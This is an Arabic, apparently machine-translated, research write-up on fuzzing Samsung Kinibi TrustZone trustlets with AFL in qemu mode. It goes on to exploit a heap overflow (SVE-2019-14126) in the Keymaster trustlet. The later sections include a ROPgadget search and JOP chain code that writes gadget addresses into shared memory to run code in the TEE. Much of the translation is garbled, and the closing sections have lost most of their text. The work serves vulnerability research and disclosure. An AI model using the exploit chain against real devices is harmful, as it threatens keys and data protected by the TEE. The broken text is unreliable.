
مع مرور الوقت ، تظهر المزيد من التقنيات الوقائية ، والتي بسببها يجب على المتسللين تشديد سيورهم بإحكام. ومع ذلك ، تحتوي هذه العملة على وجهين: تقنيات الدفاع تنشئ أيضًا سطح هجوم إضافي ، وللالتفاف حولها ، ما عليك سوى استخدام نقاط الضعف في التعليمات البرمجية الخاصة بهم.
دعونا نلقي نظرة على واحدة من هذه التقنيات - ARM TrustZone. تحتوي تطبيقاته على قدر كبير من التعليمات البرمجية ، وللبحث عن نقاط الضعف فيها ، تحتاج إلى طريقة تلقائية. نستخدم الطريقة القديمة المثبتة - الغمغمة. لكن ذكي!
سنخفق التطبيقات الخاصة التي ظهرت مع إدخال تقنية TrustZone - Trustlets. لوصف بالتفصيل طريقة الدمج التي اخترناها ، ننتقل أولاً إلى نظرية TrustZone وأنظمة التشغيل الموثوقة والتفاعل مع نظام التشغيل التقليدي. هذا ليس لفترة طويلة. دعنا نذهب!
ARM TrustZone
تسمح لك تقنية TrustZone في معالجات ARM بنقل معالجة المعلومات السرية إلى بيئة آمنة معزولة. يتم تنفيذ هذه المعالجة ، على سبيل المثال ، بواسطة Keystore ، وخدمات Fingerprint في نظام التشغيل Android OS ، وتقنيات حماية حقوق النشر لـ DRM ، إلخ.
لقد تم بالفعل كتابة الكثير عن جهاز TrustZone ، لذلك سوف نتذكر لفترة وجيزة فقط.

تقوم TrustZone بتقسيم "العالم" (من حيث TrustZone - العالم) إلى قسمين - عالم عادي وعالم آمن - وتضيف أربعة أوضاع للتنفيذ إلى المعالج:
- EL3 - وضع الشاشة - الوضع الذي يبدأ به النظام ، وهو وضع التنفيذ المفضل ؛
- S-EL2 - وضع برنامج مراقبة موثوق به ؛
- S-EL1 - وضع نظام التشغيل الموثوق به ؛
- S-EL0 - وضع التطبيقات الموثوقة (التطبيقات الموثوق بها ، TAs ، Trustlets) ، أو Trustlets.
في SoC باستخدام تقنية TrustZone ، يمكن أن يعمل نظامان تشغيل في وقت واحد. واحد يعمل في Normal World يسمى Rich OS ، والثاني من Secure World هو TEE (بيئة التنفيذ الموثوق) OS. يوجد بالفعل أكثر من عشرة من أنظمة التشغيل الموثوقة هذه. سوف نركز على واحد محدد - Trustonic Kinibi. يتم استخدامه ، على وجه الخصوص ، على هواتف Samsung مع SoC Exynos شاملة حتى Galaxy S9.
كينيكي Trustonic
تم إنشاء Trustonic بواسطة ARM و Gemalto و Giesecke & Devrient (G&D) واستمر في تطوير نظام التشغيل Giesecke & Devrient (G&D) Mobicore تحت اسم Kinibi.
يدعم نظام التشغيل Kinibi معايير بيئة التنفيذ الموثوق بها للنظام الأساسي العالمي . يظهر المخطط الهيكلي في الشكل.

كما ترون ، فإن تطبيق TrustZone يتضمن مكونات ليس فقط في "العالم المحمي" ، ولكن أيضًا مكونات في "العالم الطبيعي". لفهم العناصر الرئيسية ، من الأفضل أن ننظر إلى مخطط هذا النظام من وجهة نظر المطور.

على مستوى منخفض ، في عالم محمي ، بالإضافة إلى microkernel ، يعمل السائقون ومدير وقت التشغيل. وفي العالم الطبيعي ، يعمل برنامج تشغيل خاص ، مما يضمن انتقال المعالج إلى العالم المحمي بناءً على طلب التطبيقات. على مستوى المستخدمين ، تعمل التطبيقات والمكونات التي توفر واجهات برمجة التطبيقات لربط التطبيقات بين العالمين العادي والآمن. هناك أيضًا برنامج خفي خاص في العالم الطبيعي يوفر بدء التشغيل الأولي لبعض الصناديق الائتمانية ، والتي تمر عبرها جميع طلبات الحصول على ائتمانات من تطبيقات العميل.
هناك مجموعتان من واجهات برمجة التطبيقات في Kinibi: واجهة برمجة تطبيقات Global Platform (المشار إليها باللون الأخضر) و Legacy API (أحمر). توفر كلتا المجموعتين نفس مجموعة الوظائف تقريبًا ، تم إنشاء المجموعة الأولى فقط وفقًا لمعايير Global Platform ، والثانية ، كما يبدو ، كانت قبل المعيار ، وبالتالي تسمى Legacy. على الرغم من حقيقة أنه بناءً على الاسم ، يجب عليك الابتعاد عن استخدامه ، يتم استخدام واجهة برمجة تطبيقات Legacy فقط في حسابات Samsung الموثوقة.
التفاعل بين العالمين
للاستفادة من الفرص التي توفرها تقنية TrustZone ، التطبيقات في العالم الطبيعي ، وتسمى تطبيقات العميل ، والتواصل مع التطبيقات الموثوق بها - Trustlets تقوم Trustlets بتنفيذ وظائف مختلفة: المصادقة ، وإدارة المفاتيح ، والعمل مع مكونات الأجهزة التي تنفذ وظائف الأمان ، إلخ.
يتم إرسال الطلبات إلى Trustlets باستخدام ذاكرة مشتركة خاصة. يتم عزل العالم العادي والعالم المحمي ، باستخدام تقنية TrustZone ، عن بعضهما البعض في المستويات العليا (EL0 و S-EL0) من الذاكرة ، وإنشاء مثل هذه المنطقة من الذاكرة المشتركة بينهما ، تسمى World Shared Memory (WSM) ، واجهة برمجة التطبيقات التي توفرها العالم.
يبدو المخطط العام للتفاعل بين تطبيق العميل و Trustlet مثل هذا:

- يصل تطبيق العميل إلى البرنامج الخفي باستخدام معرف المستخدم الخاص بالوثيقة التي يريد إنشاء جلسة بها ؛
- يستخدم البرنامج الخفي برنامج التشغيل للاتصال بنظام التشغيل الموثوق به مع طلب لتنزيل Trustlet ؛
- يقوم نظام التشغيل الموثوق بتحميل الأحمال في مساحة العنوان في العالم المحمي ؛
- ينشئ تطبيق العميل مرة أخرى مخزنًا مؤقتًا لـ WSM من خلال طلب إلى البرنامج الخفي ويكتب البيانات فيه لطلب الثقة ؛
- يخطر تطبيق العميل العالم المحمي باستعداد الطلب ؛
- في عالم آمن ، يتم إرسال الطلب إلى Trustlet المطلوب للمعالجة ، والكتابات يكتب نتيجة عمله إلى المخزن المؤقت WSM ؛
- قد تتكرر دورة الطلب والاستجابة ؛
- تطبيق العميل ينهي الجلسة بثقة.
تبدو الرموز الزائفة لجلسة التفاعل لتطبيق العميل ولغة الوثيق جميلة جداً. لتطبيق عميل:
void main() { uint8_t* tciBuffer; uint32_t tciLength; uint8_t* mem; uint32_t mem_size; mcOpenDevice(MC_DEVICE_ID_DEFAULT); mcMallocWsm(MC_DEVICE_ID_DEFAULT, 0, tciLength, &tciBuffer, 0); session.deviceId = MC_DEVICE_ID_DEFAULT; mcOpenSession(&session, &uuid, tciBuffer, tciLength); mcMap(&session, mem, mem_size, &mapInfo); mcNotify(&session); mcWaitNotification(&session, -1); mcUnmap(&session, mem1, &mapInfo1); mcCloseSession(&session); mcFreeWsm(MC_DEVICE_ID_DEFAULT, tciBuffer); mcCloseDevice(MC_DEVICE_ID_DEFAULT); }
للحصول على trustlet:
void tlMain(uint8_t *tciData, uint32_t tciLen) { // Check TCI size if (sizeof(tci_t) > tciLen) { // TCI too small -> end Trusted Application tlApiExit(EXIT_ERROR); } // Trusted Application main loop for (;;) { // Wait for a notification to arrive tlApiWaitNotification(INFINITE_TIMEOUT); // Process command // Notify the TLC tlApiNotify(); } }
mcNotify
/ tlApiNotify
و mcWaitNotification
/ tlApiWaitNotification
- هذه هي وظائف الإشعار ذاتها التي يكون فيها الطلب / الاستجابة جاهزًا لاستلامه في عالم آخر ، ووظيفة انتظار معالجة الطلب. أيضا ، تطبيق العميل لديه القدرة على استخدام وظيفة mcMap. يسمح لك بإنشاء مخزن مؤقت WSM آخر ، إذا لزم الأمر. في المجموع ، باستخدام هذه الوظيفة ، يمكنك إنشاء أربعة فقط من هذه المخازن المؤقتة.
مع تطبيقات العميل ، من الواضح - بالنسبة لهواتف Samsung ، هذه هي تطبيقات Android العادية. ولكن ما هي الثغرات؟
كينبي Trustlets
توجد Trustlets في نظام الملفات العادي للجهاز وهي ملفات تحتوي على تعليمات برمجية قابلة للتنفيذ. ليس هذا هو التنسيق المعتاد ELF أو APK لنظام Android. تمتلك Trastlets في نظام التشغيل Kinibi نسق MobiCore Load الخاص بها (MCLF). تم وصفه في مكونات مستوى المستخدم مفتوحة المصدر التي نشرتها Trustonic على Github. يمكن تصوير هيكل ملف trustlet بشكل تخطيطي في مثل هذه الصورة (الرمز الموجود على اليسار).

يمكن تمييز الميزات التالية لـ Trustlets:
- يتم تنفيذها في مساحة عنوان معزولة ، وهذا يعني أن Trustlet واحد لا يرى آخر ؛
- ليس لديك إمكانية الوصول إلى ذاكرة العالم العادي ، باستثناء مخازن WSM المؤقتة ، إلى ذاكرة نظام التشغيل TEE والذاكرة الفعلية ؛
- توجد في الذاكرة في أقسام لها حقوق مختلفة في القراءة والكتابة والتنفيذ ؛
- المخازن المؤقتة WSM الموجودة في الذاكرة غير القابلة للتنفيذ؛
- التمهيد دون ASLR
- يستخدمون واجهة برمجة التطبيقات التي توفرها mclib ، وهي مكتبة تنفذ واجهة برمجة تطبيقات Global Platform و Legacy API للعالم المحمي ؛
- يمكن الوصول إلى برامج التشغيل المحمية باستخدام وظيفة
tlApi_callDriver
.
كما ترون ، فإن الوحدات التنظيمية محدودة للغاية في القدرات. بالإضافة إلى ذلك ، يستخدمون بعض آليات الدفاع ، مثل العديد من سمات الذاكرة ، كما تستخدم معظم قوائم الثقة الكناري المكدس للحماية من الكتابة فوق المكدس. لكن Kinibi ليس لديه ASLR ، على الرغم من أنه تم التخطيط له في إصدارات جديدة.
على الرغم من جميع القيود ، تعتبر نقاط الاستهداف هدفًا مثيرًا للاهتمام للمهاجمين للأسباب التالية:
- هذه نافذة في TrustZone من مستوى مساحة المستخدمين في Android ؛
- يمكن أن تكون بمثابة نقطة انطلاق لتصعيد الامتيازات إلى جوهر نظام التشغيل TEE ؛
- تتمتع Trustlets بالوصول إلى المعلومات المحمية ، حيث لا يمكن حتى للنواة Android الوصول.
كجهاز اختبار ، استخدمنا Samsung Galaxy S8. إذا كنت تبحث عن قصاصات في ذلك ، فقد تبين أن هناك الكثير منها.

وهذا هو ، هناك الكثير من التعليمات البرمجية. يبدو أن استخدام التحليل الثابت للرمز الثنائي للبحث عن الثغرات الأمنية فكرة سيئة. لن ينجح الانخراط في التحليل الديناميكي بكل بساطة ، إذا كان للنُهُج تنسيقات خاصة بها ، تختلف عن ما يمكن تشغيله على أنظمة التشغيل التقليدية. سيكون من الجيد استخدام طريقة الدمج التي أثبتت جدواها في ردود الفعل ، والتقاط بطريقة أو بأخرى لتحطم الصناديق الائتمانية عند حدوثها. دعونا نحاول حل هذه المشكلة المثيرة للاهتمام.
كيف هذا زغب؟
بالنسبة لأولئك الذين لم يلتقوا بعد بأداة AFL الرائعة والعديد من الوظائف الإضافية ، نوصي بقراءة هذه المقالة الجيدة . وربما يعلم الجميع أن AFL يمكن أن تفسد ملفات ELF. وعلاوة على ذلك ، حتى الملفات الثنائية التي تم تجميعها في البداية دون أجهزة AFL. ويتحقق ذلك من خلال وضع qemu. يستخدم AFL بنية خاصة لمحاكي qemu ، حيث تتم إضافة وظيفة الأجهزة الثنائية لتعليمات الفرع إلى وضع مستخدم qemu. هذا يسمح له بالتشويش مع التحكم في تغطية التعليمات البرمجية حتى بالنسبة للملفات الثنائية. ومكافأة هذا هي القدرة على دمج الملفات القابلة للتنفيذ ، ليس فقط في الهندسة المعمارية الأصلية ، ولكن أيضًا لجميع الهياكل التي يدعمها qemu. ولكن من أجل استخدام هذا الوضع في مهمتنا ، نحتاج إلى تحويل أشكال الثقة إلى تنسيق ELF بطريقة أو بأخرى.
دعونا نلقي نظرة فاحصة على ملفات trustlet. بفضل التنسيق المفتوح ، يوجد محمل لـ IDA Pro له. إذا قمت بفتح أي رابط ، باستثناء ، في الواقع ، الكود الخاص به ، يمكنك أن ترى أنه يستخدم وظائف مكتبة mclib. من المثير للاهتمام أن جميع المكالمات إلى هذه الوظائف تمر بوظيفة واحدة على العنوان المسجل في رأس الرسالة. على سبيل المثال ، هذه هي الطريقة التي تبدو بها وظيفة tlApiLogvPrintf في رمز الوثيق الذي يتعامل بوضوح مع إخراج السلاسل.

يمكن أن نرى أنه يعيد توجيه جميع المعلمات أبعد من وظيفة أخرى. هذه هي وظيفة جدولة mclib ، التي تتم كتابة عنوانها في رأس MCLF في حقل يسمى tlApiLibEntry
. بمعنى أن وظائف المكتبة التي تُدعى بهذه الطريقة هي التبعيات الوحيدة للوكلاء الموثوقين ؛ وليس للرابطات أي روابط أخرى بالخارج. هذا يعني أنه إذا قمنا بتطبيق عناصر تحكم لوظائف API ، فيمكننا تنفيذ رمز trustlet في بيئة Linux عادية ، بالطبع ، أولاً تحويله إلى ملف ELF بطريقة أو بأخرى. وهذا يعني أننا يمكن أن تصحيح الأخطاء وزغب.
لتحويل ملف Trustlet إلى ملف ELF ، يمكنك أخذ ملف جاهز ، على سبيل المثال ، ترجمة تطبيق فارغ مع الوظيفة الرئيسية ، وإضافة أقسام من Trustlet مع رأسه. من السهل! من الضروري أيضًا نقل التحكم بطريقة أو بأخرى إلى رمز Trustlet. لا توجد مشكلة في هذا أيضًا ، يحتوي رأس trastlet على عنوان نقطة الدخول الخاصة به. نحدد هذا العنوان في وظيفتنا main
كعنوان للوظيفة ونطلق عليها. بعد التفكير والتجريب ، يمكننا تحديد الخطة التالية لحل مشكلتنا:
- تنفيذ نقل التنفيذ إلى نقطة الدخول للصندوق ؛
- تنفيذ وظائف المكتبة أو الدعائم لهم ؛
- تنفيذ وظيفة الإرسال وكتابة عنوانها في رأس tralet ؛
- ترتيب أقسام من Trustlet إلى العناوين المطلوبة.
نظرًا لأننا نحتاج إلى تحويل العديد من الصناديق إلى الجان في وقت واحد ، فنحن بحاجة إلى التفكير في أتمتة هذه المهام. لكل وحدة تحكم ، يجب تحديد المعلمات التالية تلقائيًا: نقطة الدخول ، وعناوين أقسام الصندوق الاستئماني وحجم المخزن المؤقت لإدخال WSM. أضف هذا إلى الخطة.
- حدد نقطة الدخول وعناوين الأقسام وحجم المخزن المؤقت لـ WSM.
جمع قزم
1) نقطة الدخول
العنصر الأول في الخطة سهل التنفيذ مع الكود التالي. يمكن إضافته إلى الوظيفة main
لملف ELF المصدر الخاص بنا.
typedef void (*tlMain_t)(const void* tciBuffer, const uint32_t tciBufferLen); tlMain_t tlMain = sym_tlMain; tlMain(tciBuffer, tciBufferLen);
نحن تجميع التعليمات البرمجية لدينا في ملف كائن.
$(CC) $(INCLUDE) -g -c tlrun.c
يجب إضافة sym_tlMain
إلى ملف الكائن. ويمكن القيام بذلك باستخدام objcopy.
arm-linux-gnueabi-objcopy --add-symbol sym_tlMain=$(TLMAIN) tlrun.o tlrun.o.1
نتيجة لذلك ، حصلنا على tlrun.o.1
- مصدر tlrun.o.1
مع الوظيفة main
التي تنقل التحكم إلى رمز Trustlet.
2) وظائف المكتبة
لتنفيذ وظائف المكتبة ، نحتاج أولاً إلى قائمة بجميع هذه الوظائف. ذات مرة كان هناك تسرب من كوالكوم مع مجموعة من المواد للأجهزة المحمولة بناءً على معالجاتها. ومن بين هذه المواد أيضًا بعض الصور وملفات الرأس وصور تصحيح الأخطاء لبعض المكونات لنظام تشغيل mobicore. من هناك أخذنا نماذج أولية لوظائف المكتبة بأرقامها ، وتم تمريرها كمعلمة إلى وظيفة الإرسال. بالنسبة للوظائف ذات الأغراض المعروفة مثل tlApiMalloc
أو tlApiLogvPrintf
قمنا بتنفيذ التطبيقات المقابلة باستخدام وظائف مماثلة من libc. والوظائف ليست واضحة تمامًا ، على سبيل المثال ، tlApiSecSPICmd
بسيط يعرض اسمهم ويعود بحالة موافق. يتم تجميع واجهة برمجة التطبيقات (API) بالكامل إلى tllib.o
$(CC) $(INCLUDE) -g -c tllib.c
3) وظيفة الإرسال
على غرار عنوان نقطة الدخول ، أضف الرمز ، وعنوانه هو نفسه لكل نقاط الثقة:
arm-linux-gnueabi-objcopy --add-symbol sym_tlApiLibEntry=0x108c tlrun.o tlrun.o.1
تنفيذ وظيفة الجدولة تافهة. من الضروري فقط مراعاة أنه يجب كتابة عنوانه في الرأس. نظرًا لأننا لا نعرف مقدمًا العنوان الذي سيتم تحديد موقع وظيفة الإرسال الخاصة بنا بعد الارتباط والبدء ، فيجب أن نكتب عنوانه في رأس الوثيق بالفعل في وقت التشغيل. على سبيل المثال ، عند بدء تشغيل ملف قبل أن تبدأ الوظيفة main
التنفيذ.
void (*sym_tlApiLibEntry)(int num) __attribute__((weak)); void tlApiLibEntry(int num) __attribute__((noplt)); __attribute__((constructor)) void init() { sym_tlApiLibEntry = tlApiLibEntry; }
4) الأقسام
إضافة أقسام إلى ملف الكائن ، نستخدم أيضًا objcopy
.
arm-linux-gnueabi-objcopy --add-section .tlbin_text=.text.bin \ --set-section-flags .tlbin_text=code,contents,alloc,load \ --add-section .tlbin_data=.data.bin \ --set-section-flags .tlbin_data=contents,alloc,load \ --add-section .tlbin_bss=.bss.bin \ --set-section-flags .tlbin_bss=contents,alloc,load \ tlrun.o.1 tlrun.o.2
هنا .tlbin_text
هو اسم قسم الوثيق ، و .text.bin
هو اسم الملف مع تفريغ لهذا القسم. يمكنك تفريغ الملف باستخدام نفس المؤسسة الدولية للتنمية.
نتيجة لهذا التحويل ، ستتم إضافة Trustt الثنائية إلى ملف ELF المصدر.
5) الأتمتة
للتجميع بأكمله ، قررنا استخدام Makefile كبير واحد مشترك لجميع Trustlets وواحد صغير ، متصلاً به لكل Trustlet الفردية مع المعلمات الخاصة به. لكل وحدة تحكم ، تحتاج إلى تحديد نقطة إدخال وعناوين أقسام وحجم المخزن المؤقت لـ WSM. يسهل الحصول على المعلمتين الأوليين باستخدام برنامج نصي بسيط للمؤسسة ، كما أن تحديد حجم المخزن المؤقت ليس سهلاً في بعض الأحيان على التنفيذ التلقائي. يمكنك أتمتة هذه المهمة أيضًا ، أو يمكنك قضاء 10 دقائق لتحديدها لجميع الوحدات الموثوقة من خلال تحليل التعليمات البرمجية الخاصة بهم يدويًا. يمكن تعيين هذه المعلمات كمتغيرات في Makefile الصغيرة.
TLMAIN := 0x98F5D TLTEXT := 1000 TLDATA := c0000 TLBSS := c10e0 TLTCI_LEN := 4096
وفي Makefile كبير ، استخدم هذه المعلمات بهذه الطريقة:
$(CC) $(INCLUDE) -g -DTCILEN=$(TLTCI_LEN) -c tlrun.c # ... $(CC) -g tlrun.o.2 tllib.o --section-start=.tlbin_text=$(TLTEXT),--section-start=.tlbin_data=$(TLDATA),--section-start=.tlbin_bss=$(TLBSS) -o tlrun
لذلك ، حولنا الوثيق إلى ملف ELF مع الموقع الصحيح لأقسام الصندوق في الذاكرة والعناوين الصحيحة في الرأس. من الناحية النظرية ، يمكن تنفيذه بشكل صحيح وإحباطه أكثر. حسنًا ، دعنا نتحقق منها!
التضبيب
نظرًا لأن AFL يستخدم qemu لتنفيذ كود هندسة غير أصلية ، سيكون من الجيد في البداية التحقق مما إذا كان قزمنا يعمل تحت المحاكي على الإطلاق. ثم بدأت المشاكل على الفور.
المشكلة رقم 1: toolchainلتجميع الشفرة وبناء الملف ، استخدمنا سلسلة الأدوات arm-linux-gnueabihf. "hf" في النهاية تعني أن المترجم يستخدم دعم أجهزة Hard Float في معالجات ARM. عندما حاولت تشغيل ملفنا تحت محاكي qemu ، تعطل على الفور ، وأصدر "خطأ تجزئة". بالنظر إلى أنه في نظامنا ، لم يكن هناك عمل بأرقام الفاصلة العائمة في أي مكان ، والسبب في هذا التعطل كان غير مفهوم على الإطلاق. بعد قليل من التفكير ، قررنا أن نجرب استخدام toolchain بدون Hard-arm-linux-gnueabi. ونحن محظوظون! عمل الملف ، وبدأ الإخراج منه في الظهور في وحدة التحكم.

حتى تتمكن من زغب. نطلق AFL وهنا ...
المشكلة رقم 2: الأجهزة
لسبب ما ، AFL لا يرى الأجهزة. في البداية ، لم تكن المشكلة واضحة. بنيت qemu بشكل صحيح ، يتم تعيين الخيار -Q (وضع qemu). شتم ، واضطررت للدخول في شفرة المصدر لبقع AFL ل qemu. اتضح أنه في تصحيحات AFL ، عند تنزيل ملف ELF ، يبحث qemu عن قسم الكود ويحدد حدود العناوين التي سينتج عنها أجهزة. المشكلة هي أنه إذا كان هناك العديد من مقاطع الكود ، لسبب ما ، فسيتم قياس القسم الأول منها فقط. هذا خطأ أو ميزة ، لكن لدينا قسمين للرمز ، ونقطة الإدخال - الرئيسية - في الجزء الثاني. من الواضح أنه لا يرى الأجهزة عند بدء التشغيل ، لأنها ليست في القسم الثاني! من الصوف إلى أبعد من المصدر ، يمكنك أن ترى أنه عند تشغيل متغير البيئة AFL_INST_LIBS ، تصبح حدود الأجهزة غير محدودة. قم بتشغيله وابدأ تشغيله.

أعمال مدمجة!
تم تأكيد الفكرة! أطلقنا الدمج مع ردود الفعل على ملفات ثنائية التنسيق المخصص. كما ترون ، فهو يجد نوعًا من الانهيار. وبالتالي ، حصلنا على طريقة موثوقة لتزييف مثل هذه الثنائيات ، والتقاط الأخطاء في التعليمات البرمجية الخاصة بهم وكذلك تشغيلها في نظام Linux العادي وتصحيح الأخطاء بسهولة مع الأدوات الموجودة. الدرجة!
لعدة أيام ، نفذنا الغمغمة بكل ثقة. نتيجةً لذلك ، كان لدينا الكثير من بيانات الإدخال التي تولد الأعطال ، ومهمة تحليل كل هذه الأعطال.
تحليل تحطم
في المجموع لمدة 23 ثقة وجدت AFL 477 حالات اختبار توليد تحطم. كمية كبيرة لا أريد معالجتها يدويًا. من بين هذه المجموعة من حالات الاختبار ، هناك حالات متطابقة تقريبًا تؤدي إلى تعطل في نفس المكان. لإزالة التكرار لحالات الاختبار ، يمكنك استخدام أداة afl-cmin. بعد مرور جميع القصائد ، بقيت 225 حالة بحاجة إلى تحليل. على أي حال ، الكثير! من أجل تخفيف مهمتنا بطريقة أو بأخرى ، قررنا استخدام أدوات التحليل الديناميكي التي ستساعد على تحديد خطأ البرنامج وأي من خصائصه بشكل أكثر دقة. سيساعد هذا في تقييم قابلية استخدام الأخطاء وتعقيد تشغيلها.
لذلك ، من أجل استخدام نوع من أدوات التحليل الديناميكي ، نحتاج على الأقل إلى تشغيل أدواتنا الموثوقة المحولة على نظام ARM الأصلي ، وليس تحت تقنية qemu الافتراضية. قد يكون Linux أو Android مناسبًا لذلك.
العدد 3: الأقسامقررنا اتخاذ نظام 32 بت مع لينكس ، لأن حسابات Trust-32-bit و Linux أكثر ملاءمة ولديها أدوات تحليل أكثر ديناميكية من Android. وهنا اتضح أنه عند إطلاقه ، فإن الجان لدينا يصدرون على الفور خطأ تجزئة.
اتضح أن المشكلة هي غرابة الثنائيات لدينا. عند إنشائها ، ستحتاج إلى وضع أقسام الوثيق على العناوين المرغوبة ، حيث يكون عنوان قسم الكود الخاص بالوثيقة دائمًا 0x1000. هذا هو القسم الأول في الملف ، وما زال أمامه رأس ELF عند 0x0. وعلى نظام Linux ، يتم حجز أول صفحتين من مساحة العنوان ، حتى العنوان 0x2000 ، لمهام الأداة المساعدة ، لذلك عندما يحاول المُحمل عرض قسم هناك ، يحدث خطأ.
كما اتضح ، هناك طريقة للخروج من هذا الوضع. على نواة 64 بت ، لا يحدث مثل هذا الحجز للصفحات الأولى في الذاكرة ، ويصبح ترتيب الأقسام هذا ممكنًا. نظرًا لأن ملفاتنا 32 بت ، فمن الملائم أولاً إنشاء بيئة 32 بت على نظام 64 بت. حزمة debootstrap
رائعة لهذه الأغراض.
المشكلة رقم 4: لا توجد أدواتالآن وبعد أن تعمل وحداتنا الموثوقة المعاد تصميمها على نظام ARM الأصلي ، نحتاج إلى تجربة أدوات التحليل الديناميكي عليها. من بين أساليب التحليل الديناميكي للملفات الثنائية هي تصحيح الأخطاء والأجهزة الديناميكية الثنائية (DBI). Gdb عظيم للأول. وللثاني ، لا يوجد العديد من الخيارات: تحت ARM ، لا يوجد سوى ثلاثة أطر عمل DBI ثابتة - DynamoRIO و Valgrind و Frida. يحتوي الأول على العديد من الأدوات الجيدة لتتبع الأخطاء والتقاطها ، لكن محمل ملفات ELF ، الذي تم تنفيذه فيه ، لم يتمكن من التعامل مع تحميل ملفاتنا. Valgrind هو إطار قوي إلى حد ما ، ولديه أدوات callgrind مناسبة لنا لتتبع و memcheck لمراقبة عمليات الذاكرة. اتضح أنها تنتج نتائج غير ملائمة للتحليل ، لذا فهي غير مناسبة للاستخدام في الوضع التلقائي على العديد من الملفات. ولم يكن لدينا وقت لتجربة فريدا. إذا كان أي شخص لديه خبرة في استخدام Linux على ARM ، فاكتب انطباعاتك في التعليقات.
كما ترون ، يمكننا فقط أن نكون راضين عن طريق مصحح الأخطاء. لكن استخدام البرامج النصية ل gdb حتى هذا بالفعل يبسط عملنا إلى حد كبير.
المشكلة رقم 5: وظائف المكتبةهناك مشكلة أخرى كانت واضحة منذ البداية وهي وظائف المكتبة التي يستخدمها trastlet. لقد استبدلناها بذرة ، باستثناء الوظائف التي يمكن استبدالها بوظائف مماثلة من libc. من الواضح ، أنه في منطق trastlet ، تقوم بعض التعليمات البرمجية بمعالجة نتيجة إحدى وظائف كعب الروتين هذه ، فمن المحتمل جدًا أن تتعطل بسبب حقيقة أنها تتوقع بيانات مختلفة تمامًا ، وهذا لا يعني بالضرورة وجود خطأ في التعليمات البرمجية.
هناك عدد قليل من الوظائف التي ليس من السهل محاكاة سلوك وظيفة حقيقية:
- tlApiSecSPICmd.
- tlApi_callDriver.
- tlApiWrapObjectExt.
- tlApiUnWrapObjectExt.
- tlApiCipherDoFinal.
- tlApiSignatureSign.
- ...
من أجل عدم إضاعة الوقت في دراسة مثل هذه الحالات المشكوك فيها ، قررنا ببساطة عدم النظر في حالات الاختبار التي تستخدم هذه الوظائف.
نتائج غامضة
في الوضع التلقائي ، باستخدام البرامج النصية ، قمنا بجمع المعلومات التالية على جميع قوائم الاعتماد:
- Traidlet UID
- معرف الحادث ؛
- نوع الخطأ (نوع الإشارة أثناء التعطل) ؛
- العنوان الذي يحدث فيه الخطأ
- وظائف API المستخدمة من قبل trastlet.
كما اتضح ، من المريح جدًا وضع كل هذه المعلومات في قاعدة البيانات ، ثم تحديد الحالات الأكثر إثارة للتحليل بواسطة استعلامات SQL وإضافة معلومات بناءً على نتائج التحليل.

على سبيل المثال ، مع هذا الاستعلام ، يمكنك إظهار جميع حالات الاختبار التي يحدث فيها خطأ خطأ التصنيف:
select * from main where type = "SIGSEGV";
tlApiSecSPICmd
حالات الاختبار التي تستخدم دالة tlApiSecSPICmd
، والتي قمنا بتنفيذها كأداة كعب روتين:
select * from main where api not like "tlApiSecSPICmd";
وبالتالي ، تم العثور على أخطاء من أنواع مختلفة في جميع Trustlets. البعض منهم لم يؤدي إلى نقاط الضعف ، ولكن كانت هناك نقاط الضعف تلك والتي يمكن استخدامها من قبل المهاجم. النظر في الأكثر إثارة للاهتمام من الثغرات الموجودة.
SVE-2019-14126

تم العثور على مشكلة عدم الحصانة في Trustmaster في التعليمات البرمجية لمعالجة محتويات المخزن المؤقت TCI أثناء تحليل بنية ASN.1 المشفرة وفقًا لقواعد DER. يتم استخدام حقلين في هذا الهيكل كأبعاد: أحدهما عند تخصيص ذاكرة ديناميكية والآخر عند نسخه. من الواضح ، إذا كان الحجم الثاني أكبر من الأول ، يحدث تجاوز سعة الكومة. تؤدي نقاط الضعف هذه عادةً إلى إمكانية تنفيذ تعليمات برمجية من قبل المهاجمين ، لذلك حاولنا إجراء استغلال كامل لهذه الثغرة الأمنية. عند تقييم إمكانية الاستغلال ، يجب على المرء أيضًا مراعاة جميع قيود الصناديق المذكورة أعلاه.
وجود فيض فيض كومة وبناءً على هذه القيود ، يمكن للمرء أن يتخيل استراتيجية التشغيل التالية:
- ابحث عن مؤشر وظيفة في مكان يسهل الوصول إليه لإعادة الكتابة ، على سبيل المثال ، في قسم .bss ؛
- باستخدام الفائض الموجود ، قم بإنشاء كتلة ذاكرة كومة الذاكرة المؤقتة في هذا المكان ؛
- ;
- .
, , , Kinibi. - mclib, ZeroCon, .
— .bss. , .bss . , , , , .

, .bss, .
, . , , , , .bss, . code-reuse.
ROP. , ROP, .bss. , , . , , . , , , .
ROP, JOP. JOP — Jump Oriented Programming. JOP .
JOP , ROPGadget. , JOP, :
ROPgadget --binary tlrun --thumb --range 0x1000-0xbeb44 | grep -E "; b.+ r[0-9]+$"
! .

. ROP . , ROP- weird machine , . JOP , . ARM, , , — LDMIA (Load Memory Increment Address).

, , , , . , . JOP!
LDMIA . - capstone, ROPGadget, LDMLO.

! . , , . stack cookie , .
*(int*)&mem1[offset] = SUPER_GADGET; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = 0; // r4 *(int*)&mem1[offset + 12] = SUPER_GADGET; // r5 *(int*)&mem1[offset + 16] = 0x9560b; // r7 offset += 0x14; *(int*)&mem1[offset] = 0; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = 0; // r4 *(int*)&mem1[offset + 12] = 0; // r5 *(int*)&mem1[offset + 16] = 0x96829; // r7 offset += 0x14; *(int*)&mem1[offset] = SUPER_GADGET; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = 0x3d5f4; // r4 *(int*)&mem1[offset + 12] = mapInfo3.sVirtualAddr; // r5 *(int*)&mem1[offset + 16] = 0x218c7; // r7
Hello, world .
strcpy(mem3 + 0x100, "Hello world from TEE!\n"); *(int*)&mem1[offset] = 0x7d081b1; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = mapInfo3.sVirtualAddr + 0x100; // r4 *(int*)&mem1[offset + 12] = 0; // r5 *(int*)&mem1[offset + 16] = 0x9545b; // r7

"Hello, world!" , , , keymaster, , . , . , Gal Beniamini TEE Qualcomm , , offline- Android. TEE OS EL-3, .
استنتاج
ARM TrustZone , . Secure World Android, . , , Samsung bug bounty TrustZone, .

AFL qemu, "" . . , . !
روابط مفيدة